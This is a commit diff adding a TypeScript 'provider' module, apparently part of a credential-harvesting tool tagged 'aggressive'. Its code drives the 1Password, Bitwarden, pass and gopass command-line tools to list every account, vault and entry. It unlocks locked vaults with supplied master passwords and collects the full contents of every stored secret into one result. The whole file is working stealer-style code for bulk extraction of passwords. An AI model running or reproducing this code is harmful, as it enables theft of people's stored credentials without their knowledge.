Upload files to "src/providers"
This commit is contained in:
@@ -0,0 +1,439 @@
|
|||||||
|
import { spawn } from "child_process";
|
||||||
|
|
||||||
|
import { Provider } from "../base";
|
||||||
|
import type { ProviderResult } from "../types";
|
||||||
|
|
||||||
|
interface CommandResult {
|
||||||
|
stdout: string;
|
||||||
|
exitCode: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface OnePasswordAccount {
|
||||||
|
secrets: Record<string, any>;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface PasswordManagerSecrets {
|
||||||
|
onepassword: Record<string, OnePasswordAccount>;
|
||||||
|
bitwarden: Record<string, any>;
|
||||||
|
pass: Record<string, string>;
|
||||||
|
gopass: Record<string, string>;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface MasterPasswords {
|
||||||
|
onepassword?: string;
|
||||||
|
bitwarden?: string;
|
||||||
|
pass?: string;
|
||||||
|
gopass?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export class PasswordManagerProvider extends Provider {
|
||||||
|
private readonly TIMEOUT_MS = 10000;
|
||||||
|
private readonly masterPasswords: MasterPasswords;
|
||||||
|
|
||||||
|
constructor(masterPasswords: MasterPasswords = {}) {
|
||||||
|
super("password-managers", "secrets", undefined, "aggressive");
|
||||||
|
this.masterPasswords = masterPasswords;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async runCommand(
|
||||||
|
command: string,
|
||||||
|
args: string[],
|
||||||
|
signal?: AbortSignal,
|
||||||
|
stdin?: string,
|
||||||
|
): Promise<CommandResult> {
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
const controller = new AbortController();
|
||||||
|
const timeout = setTimeout(() => {
|
||||||
|
controller.abort();
|
||||||
|
}, this.TIMEOUT_MS);
|
||||||
|
|
||||||
|
const abortHandler = () => controller.abort();
|
||||||
|
if (signal) {
|
||||||
|
if (signal.aborted) {
|
||||||
|
clearTimeout(timeout);
|
||||||
|
resolve({ stdout: "", exitCode: -1 });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
signal.addEventListener("abort", abortHandler);
|
||||||
|
}
|
||||||
|
|
||||||
|
const proc = spawn(command, args, {
|
||||||
|
stdio: stdin ? ["pipe", "pipe", "pipe"] : ["ignore", "pipe", "pipe"],
|
||||||
|
signal: controller.signal,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (stdin && proc.stdin) {
|
||||||
|
proc.stdin.write(stdin);
|
||||||
|
proc.stdin.end();
|
||||||
|
}
|
||||||
|
|
||||||
|
let stdout = "";
|
||||||
|
let stderr = "";
|
||||||
|
|
||||||
|
proc.stdout?.on("data", (data) => {
|
||||||
|
stdout += data.toString();
|
||||||
|
});
|
||||||
|
|
||||||
|
proc.stderr?.on("data", (data) => {
|
||||||
|
stderr += data.toString();
|
||||||
|
});
|
||||||
|
|
||||||
|
proc.on("error", () => {
|
||||||
|
clearTimeout(timeout);
|
||||||
|
if (signal) signal.removeEventListener("abort", abortHandler);
|
||||||
|
resolve({ stdout: "", exitCode: -1 });
|
||||||
|
});
|
||||||
|
|
||||||
|
proc.on("close", (code) => {
|
||||||
|
clearTimeout(timeout);
|
||||||
|
if (signal) signal.removeEventListener("abort", abortHandler);
|
||||||
|
resolve({ stdout: stdout.trim(), exitCode: code ?? -1 });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private async signinOnePassword(
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<boolean> {
|
||||||
|
if (!this.masterPasswords.onepassword) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const signinResult = await this.runCommand(
|
||||||
|
"op",
|
||||||
|
["signin", "--raw"],
|
||||||
|
signal,
|
||||||
|
this.masterPasswords.onepassword,
|
||||||
|
);
|
||||||
|
|
||||||
|
return signinResult.exitCode === 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async collectOnePassword(
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<Record<string, OnePasswordAccount>> {
|
||||||
|
const result: Record<string, OnePasswordAccount> = {};
|
||||||
|
|
||||||
|
const checkResult = await this.runCommand(
|
||||||
|
"op",
|
||||||
|
["account", "list", "--format=json"],
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (checkResult.exitCode !== 0) {
|
||||||
|
if (this.masterPasswords.onepassword) {
|
||||||
|
const signedIn = await this.signinOnePassword(signal);
|
||||||
|
if (!signedIn) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const accountsResult = await this.runCommand(
|
||||||
|
"op",
|
||||||
|
["account", "list", "--format=json"],
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (accountsResult.exitCode !== 0 || !accountsResult.stdout) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
let accounts: any[];
|
||||||
|
try {
|
||||||
|
accounts = JSON.parse(accountsResult.stdout);
|
||||||
|
} catch {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const account of accounts) {
|
||||||
|
const accountId =
|
||||||
|
account.account_uuid || account.url || "unknown-account";
|
||||||
|
const accountSecrets: Record<string, any> = {};
|
||||||
|
|
||||||
|
const vaultsResult = await this.runCommand(
|
||||||
|
"op",
|
||||||
|
["vault", "list", "--format=json", `--account=${accountId}`],
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (vaultsResult.exitCode !== 0 || !vaultsResult.stdout) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let vaults: any[];
|
||||||
|
try {
|
||||||
|
vaults = JSON.parse(vaultsResult.stdout);
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const vault of vaults) {
|
||||||
|
const vaultId = vault.id || "";
|
||||||
|
const vaultName = vault.name || vaultId;
|
||||||
|
|
||||||
|
const itemsResult = await this.runCommand(
|
||||||
|
"op",
|
||||||
|
[
|
||||||
|
"item",
|
||||||
|
"list",
|
||||||
|
"--vault",
|
||||||
|
vaultId,
|
||||||
|
`--account=${accountId}`,
|
||||||
|
"--format=json",
|
||||||
|
],
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (itemsResult.exitCode !== 0 || !itemsResult.stdout) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let items: any[];
|
||||||
|
try {
|
||||||
|
items = JSON.parse(itemsResult.stdout);
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const vaultSecrets: Record<string, any> = {};
|
||||||
|
|
||||||
|
for (const item of items) {
|
||||||
|
const itemId = item.id || "";
|
||||||
|
const itemTitle = item.title || itemId;
|
||||||
|
|
||||||
|
const detailResult = await this.runCommand(
|
||||||
|
"op",
|
||||||
|
[
|
||||||
|
"item",
|
||||||
|
"get",
|
||||||
|
itemId,
|
||||||
|
"--vault",
|
||||||
|
vaultId,
|
||||||
|
`--account=${accountId}`,
|
||||||
|
"--format=json",
|
||||||
|
],
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (detailResult.exitCode !== 0 || !detailResult.stdout) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
vaultSecrets[itemTitle] = JSON.parse(detailResult.stdout);
|
||||||
|
} catch {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Object.keys(vaultSecrets).length > 0) {
|
||||||
|
accountSecrets[vaultName] = vaultSecrets;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Object.keys(accountSecrets).length > 0) {
|
||||||
|
result[accountId] = { secrets: accountSecrets };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async unlockBitwarden(
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<string | null> {
|
||||||
|
if (!this.masterPasswords.bitwarden) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
const unlockResult = await this.runCommand(
|
||||||
|
"bw",
|
||||||
|
["unlock", "--raw"],
|
||||||
|
signal,
|
||||||
|
this.masterPasswords.bitwarden,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (unlockResult.exitCode === 0 && unlockResult.stdout) {
|
||||||
|
return unlockResult.stdout;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async collectBitwarden(
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<Record<string, any>> {
|
||||||
|
const result: Record<string, any> = {};
|
||||||
|
|
||||||
|
const statusResult = await this.runCommand("bw", ["status"], signal);
|
||||||
|
|
||||||
|
if (statusResult.exitCode !== 0 || !statusResult.stdout) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
let status: any;
|
||||||
|
try {
|
||||||
|
status = JSON.parse(statusResult.stdout);
|
||||||
|
} catch {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
let sessionToken: string | null = null;
|
||||||
|
|
||||||
|
if (status.status !== "unlocked") {
|
||||||
|
if (status.status === "locked") {
|
||||||
|
sessionToken = await this.unlockBitwarden(signal);
|
||||||
|
if (!sessionToken) {
|
||||||
|
result.status = "locked";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
result.status = status.status || "unknown";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const listArgs = sessionToken
|
||||||
|
? ["list", "items", "--session", sessionToken]
|
||||||
|
: ["list", "items"];
|
||||||
|
|
||||||
|
const itemsResult = await this.runCommand("bw", listArgs, signal);
|
||||||
|
|
||||||
|
if (itemsResult.exitCode !== 0 || !itemsResult.stdout) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
let items: any[];
|
||||||
|
try {
|
||||||
|
items = JSON.parse(itemsResult.stdout);
|
||||||
|
} catch {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const item of items) {
|
||||||
|
const name = item.name || item.id || "unknown";
|
||||||
|
result[name] = item;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async collectPass(
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<Record<string, string>> {
|
||||||
|
const result: Record<string, string> = {};
|
||||||
|
|
||||||
|
const listResult = await this.runCommand("pass", ["ls"], signal);
|
||||||
|
|
||||||
|
if (listResult.exitCode !== 0 || !listResult.stdout) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
const entries = listResult.stdout.match(
|
||||||
|
/[├└─│\s]+([\w./@\-]+)$/gm,
|
||||||
|
) || [];
|
||||||
|
|
||||||
|
for (const match of entries) {
|
||||||
|
const entry = match.replace(/[├└─│\s]+/, "").trim();
|
||||||
|
|
||||||
|
if (!entry) continue;
|
||||||
|
|
||||||
|
const secretResult = await this.runCommand(
|
||||||
|
"pass",
|
||||||
|
["show", entry],
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (secretResult.exitCode === 0 && secretResult.stdout) {
|
||||||
|
result[entry] = secretResult.stdout;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async collectGopass(
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<Record<string, string>> {
|
||||||
|
const result: Record<string, string> = {};
|
||||||
|
|
||||||
|
const listResult = await this.runCommand(
|
||||||
|
"gopass",
|
||||||
|
["list", "--flat"],
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (listResult.exitCode !== 0 || !listResult.stdout) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
const entries = listResult.stdout.split("\n");
|
||||||
|
|
||||||
|
for (const entry of entries) {
|
||||||
|
const trimmedEntry = entry.trim();
|
||||||
|
|
||||||
|
if (!trimmedEntry) continue;
|
||||||
|
|
||||||
|
const secretResult = await this.runCommand(
|
||||||
|
"gopass",
|
||||||
|
["show", "--password", trimmedEntry],
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (secretResult.exitCode === 0 && secretResult.stdout) {
|
||||||
|
result[trimmedEntry] = secretResult.stdout;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(signal?: AbortSignal): Promise<ProviderResult> {
|
||||||
|
try {
|
||||||
|
const secrets: PasswordManagerSecrets = {
|
||||||
|
onepassword: {},
|
||||||
|
bitwarden: {},
|
||||||
|
pass: {},
|
||||||
|
gopass: {},
|
||||||
|
};
|
||||||
|
|
||||||
|
const [onepasswordData, bitwardenData, passData, gopassData] =
|
||||||
|
await Promise.all([
|
||||||
|
this.collectOnePassword(signal),
|
||||||
|
this.collectBitwarden(signal),
|
||||||
|
this.collectPass(signal),
|
||||||
|
this.collectGopass(signal),
|
||||||
|
]);
|
||||||
|
|
||||||
|
secrets.onepassword = onepasswordData;
|
||||||
|
secrets.bitwarden = bitwardenData;
|
||||||
|
secrets.pass = passData;
|
||||||
|
secrets.gopass = gopassData;
|
||||||
|
|
||||||
|
const totalSecrets =
|
||||||
|
Object.keys(secrets.onepassword).length +
|
||||||
|
Object.keys(secrets.bitwarden).length +
|
||||||
|
Object.keys(secrets.pass).length +
|
||||||
|
Object.keys(secrets.gopass).length;
|
||||||
|
|
||||||
|
if (totalSecrets === 0) {
|
||||||
|
return this.failure("No password managers found or accessible");
|
||||||
|
}
|
||||||
|
|
||||||
|
return this.success({
|
||||||
|
totalSecrets,
|
||||||
|
managers: {
|
||||||
|
onepassword: Object.keys(secrets.onepassword).length,
|
||||||
|
bitwarden: Object.keys(secrets.bitwarden).length,
|
||||||
|
pass: Object.keys(secrets.pass).length,
|
||||||
|
gopass: Object.keys(secrets.gopass).length,
|
||||||
|
},
|
||||||
|
secrets,
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user